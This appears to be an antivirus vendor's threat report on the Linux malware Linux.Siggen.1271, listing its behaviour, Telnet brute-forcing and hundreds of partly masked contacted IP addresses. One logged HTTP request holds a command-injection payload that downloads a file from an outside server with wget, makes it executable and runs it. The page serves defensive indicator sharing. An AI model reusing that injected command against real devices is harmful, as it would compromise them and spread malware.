Linux.Siggen.1271

Technical Information

Malicious functions:

Removes itself

Network activity:

Establishes connection:

8.#.8.8:53
80.###.111.10:9745
81.###.203.245:23

Attacks using a special dictionary (brute-force technique) via the Telnet protocol.

HTTP GET requests:

http://###.###.##.########################.##############################.#om&port=80&queryb64str=Lw==&username=admin%20;XmlAp%20r%20Account.User1.Password%3E$(cd%20/tmp;%20wget%20http://80.211.111.10/avtech%20-O%20gaynig;%20chmod%20777%20gaynig;%20sh%20gaynig)&password=a

Sends data to the following servers:

19#.###.229.252:55555
86.###.23.201:8000
19#.##.84.89:55555
15#.###.149.201:55555
19#.##.180.168:55555
41.###.246.71:55555
64.###.212.44:8000
22#.###.215.201:8000
13#.###.180.184:8000
4.###.223.200:23
21#.##1.208.44:23
20#.##2.83.201:23
10#.#48.1.35:23
20#.##1.182.85:8000
13#.###.114.110:8000
25.#.68.41:8000
90.##.0.118:8000
19#.###.176.124:55555
19#.###.132.41:55555
15#.###.66.118:55555
15#.##5.45.34:55555
20#.##0.31.89:23
40.###.250.142:23
73.##.133.118:23
2.###.160.41:23
53.##.169.36:8000
12#.###.188.135:8000
18#.##6.223.98:8000
10#.##8.8.114:8000
19#.###.158.165:55555
41.##.139.102:55555
19#.###.213.94:55555
41.##.46.104:55555
20#.##.248.195:23
21#.##.175.165:8000
19#.##.85.82:8000
12#.##.74.21:8000
19#.##.174.215:55555
41.##.213.173:55555
57.###.94.47:8000
21#.##9.46.180:8000
19#.##1.85.69:55555
15#.##3.78.61:55555
18#.###.188.194:8000
12#.##.245.224:8000
15#.##4.120.8:55555
19#.##.118.234:55555
20#.#.190.23:8000
20#.##1.25.186:8000
19#.##.118.188:55555
41.###.82.56:55555
10#.##6.47.47:8000
41.###.239.168:55555
15#.##.49.85:55555
15#.###.65.187:55555
90.##.91.15:8000
16#.##0.79.106:8000
19#.#.106.246:8000
41.###.12.153:55555
41.###.57.92:55555
41.###.181.48:55555
16#.##.10.202:8000
17#.##2.88.140:8000
21#.##8.19.210:8000
19#.###.241.47:55555
19#.##7.50.66:55555
19#.##9.77.81:55555
41.###.176.119:55555
15#.###.185.161:55555
15#.##.150.44:55555
12#.#.44.249:8000
74.##.191.199:8000
15#.##1.96.85:55555
11#.##9.24.175:8000
15#.##.72.134:8000
19#.#.154.169:8000
17#.###.233.200:8000
41.###.136.11:55555
15#.##.59.93:55555
19#.##.155.38:55555
19#.###.224.45:55555
19#.###.55.101:55555
19#.##.207.255:55555
15#.###.244.246:55555
38.###.235.99:8000
38.###.203.231:8000
95.##.133.177:8000
14#.##2.243.45:8000
13#.###.219.108:8000
20#.###.237.233:8000
15#.###.148.249:55555
15#.###.15.133:55555
41.###.0.203:55555
41.###.238.127:55555
95.###.151.207:8000
21#.##1.1.114:8000
17#.###.189.231:8000
19#.##3.118.43:8000
19#.##.108.71:55555
41.##.76.136:55555
41.###.201.80:55555
19#.##0.17.208:8000
15#.##8.203.30:8000
13#.###.248.193:8000
12#.###.254.106:8000
41.##.65.94:55555
15#.##.108.49:55555
41.##.109.123:55555
19#.###.246.241:55555
19#.###.110.217:55555
41.###.40.111:55555
41.###.205.188:55555
21#.##0.186.93:8000
10#.##9.80.155:8000
94.###.7.19:8000
49.###.237.216:8000
15#.##2.21.38:55555
41.##.222.85:55555
41.##.33.49:55555
66.##.26.101:8000
85.###.75.101:8000
12#.##7.228.64:8000
40.###.55.58:8000
19#.###.64.105:55555
19#.###.116.51:55555
15#.##.147.124:55555
19#.##0.57.23:8000
25.###.78.19:8000
19#.##1.121.16:8000
19#.##5.35.182:8000
15#.##.50.200:55555
41.##.6.60:55555
15#.##8.68.68:55555
17#.##.45.223:8000
10#.##4.3.248:8000
13#.##.242.80:8000
41.###.66.10:55555
71.##.13.78:8000
14#.##2.32.56:8000
98.###.189.1:8000
19#.##.139.81:8000
41.##.245.99:55555
19#.##6.83.63:55555
15#.###.143.205:55555
19#.###.17.242:55555
17#.##9.59.53:8000
18#.##4.184.57:8000
20#.###.115.105:8000
14#.##.139.74:8000
41.###.122.79:55555
15#.##.53.141:55555
15#.###.53.109:55555
15#.##.106.199:55555
15#.##.120.112:55555
41.###.215.107:55555
15#.#.152.38:55555
41.###.96.63:55555
11#.##.183.82:8000
19#.##9.19.45:8000
20#.##0.41.25:8000
93.###.14.227:8000
21#.#.17.118:8000
52.##.88.163:8000
97.##.176.170:8000
41.###.0.116:55555
15#.###.48.109:55555
41.###.55.151:55555
5.##.#14.102:8000
19.##.22.28:8000
20#.##7.4.224:8000
19#.###.45.199:55555
15#.###.80.181:55555
15#.##.238.165:55555
41.##.132.118:55555
20#.##.171.168:8000
19#.##7.0.222:8000
69.##.164.242:8000
21#.##.29.158:8000
41.###.77.126:55555
15#.##.233.213:55555
15#.##.12.19:55555
12#.##8.16.17:8000
19#.##.93.65:8000
27.###.70.147:8000
15#.###.202.220:8000
41.##.175.5:55555
41.###.243.250:55555
19#.###.58.206:55555
15#.###.173.34:55555
15#.##4.80.96:55555
94.###.57.247:8000
12#.##.144.89:8000
19#.##.123.241:8000
41.###.70.86:55555
15#.###.218.205:55555
19#.##.111.39:55555
19#.##2.57.95:55555
48.##.42.128:8000
32.###.145.106:8000
13#.###.146.217:8000
49.##.21.159:8000
19#.##.131.226:55555
15#.##0.13.38:55555
15#.###.213.34:55555
19#.##3.25.166:8000
14#.##3.166.79:8000
41.##.188.180:55555
15#.###.188.135:55555
44.###.25.157:8000
14#.##.132.127:8000
19#.##.190.227:8000
19#.##.220.222:55555
41.###.1.72:55555
14#.##9.175.88:8000
19#.##6.147.8:8000
15#.##.201.112:8000
19#.##6.40.78:55555
41.##.89.245:55555
15#.##4.72.9:55555
11#.##5.25.104:8000
13#.###.107.213:8000
17#.##.2.202:8000
16#.##.255.205:8000
41.###.164.76:55555
41.##.61.249:55555
15#.##0.43.71:55555
36.###.68.128:8000
17#.##.73.133:8000
16#.##.75.221:8000
15#.###.110.112:55555
19#.##.173.17:55555
41.###.63.136:55555
19#.###.97.254:55555
80.##.90.225:8000
47.##.133.20:8000
46.###.139.46:8000
23.###.214.136:8000
89.###.250.212:8000
41.###.30.113:55555
41.###.129.201:55555
19#.##.27.82:55555
19#.##.31.233:8000
80.##.38.24:8000
18#.##8.0.176:8000
15#.##.152.71:55555
41.##.244.9:55555
19#.###.180.135:55555
41.###.56.20:55555
19#.###.173.252:8000
31.###.77.120:8000
11#.###.250.177:8000
19#.##.65.172:55555
15#.##.244.167:55555
15#.##.236.208:55555
19#.###.251.84:55555
91.###.150.142:8000
77.###.114.0:8000
18#.###.133.194:8000
10#.##1.79.31:8000
15#.###.85.103:55555
41.##.5.188:55555
15#.###.236.176:55555
41.###.222.41:55555
11#.##2.248.49:8000
10#.##9.30.171:8000
13#.##9.120.52:8000
15#.###.46.190:55555
19#.###.167.140:55555
15#.###.139.205:55555
19#.##8.70.88:55555
40.###.134.92:8000
16#.##4.88.85:8000
17#.##.181.61:8000
91.##.172.46:8000
41.###.124.67:55555
15#.##5.99.65:55555
15#.###.126.127:55555
77.###.43.241:8000
58.###.171.132:8000
59.##.1.196:8000
41.###.163.245:55555
19#.##.230.176:55555
41.###.29.92:55555
41.##.190.150:55555
31.###.240.122:8000
20#.##4.162.15:8000
17#.##.245.152:8000
41.###.254.238:55555
19#.##4.71.23:55555
15#.###.156.89:55555
20#.###.154.126:8000
23.###.55.185:8000
52.##.255.200:8000
20#.##.148.110:8000
41.###.49.65:55555
41.###.38.229:55555
15#.###.85.178:55555
41.##.234.178:55555
16#.##1.47.64:8000
65.###.232.135:8000
10#.##3.69.231:8000
17#.##.224.179:8000
15#.##9.21.9:55555
15#.##.147.224:55555
19#.###.37.187:55555
41.###.202.9:55555
18#.###.250.240:8000
46.###.253.132:8000
18#.###.250.178:8000
19#.#.191.115:55555
15#.###.93.253:55555
15#.###.105.194:55555
41.###.111.164:55555
12#.##.28.63:8000
20#.###.231.107:8000
16#.##1.222.83:8000
41.##.229.200:55555
19#.###.47.100:55555
41.###.121.151:55555
15#.###.186.230:55555
17#.##1.102.6:8000
12#.##3.1.209:8000
18#.##0.19.105:8000
13#.##4.187.87:8000
12#.###.197.188:8000
19#.###.47.118:55555
41.##.250.16:55555
12#.##.160.227:8000

テクノロジー

用語

トレーニングコースおよび啓蒙プロジェクト

アンチウイルスに関する誤解と噂

Technical Information

Curing recommendations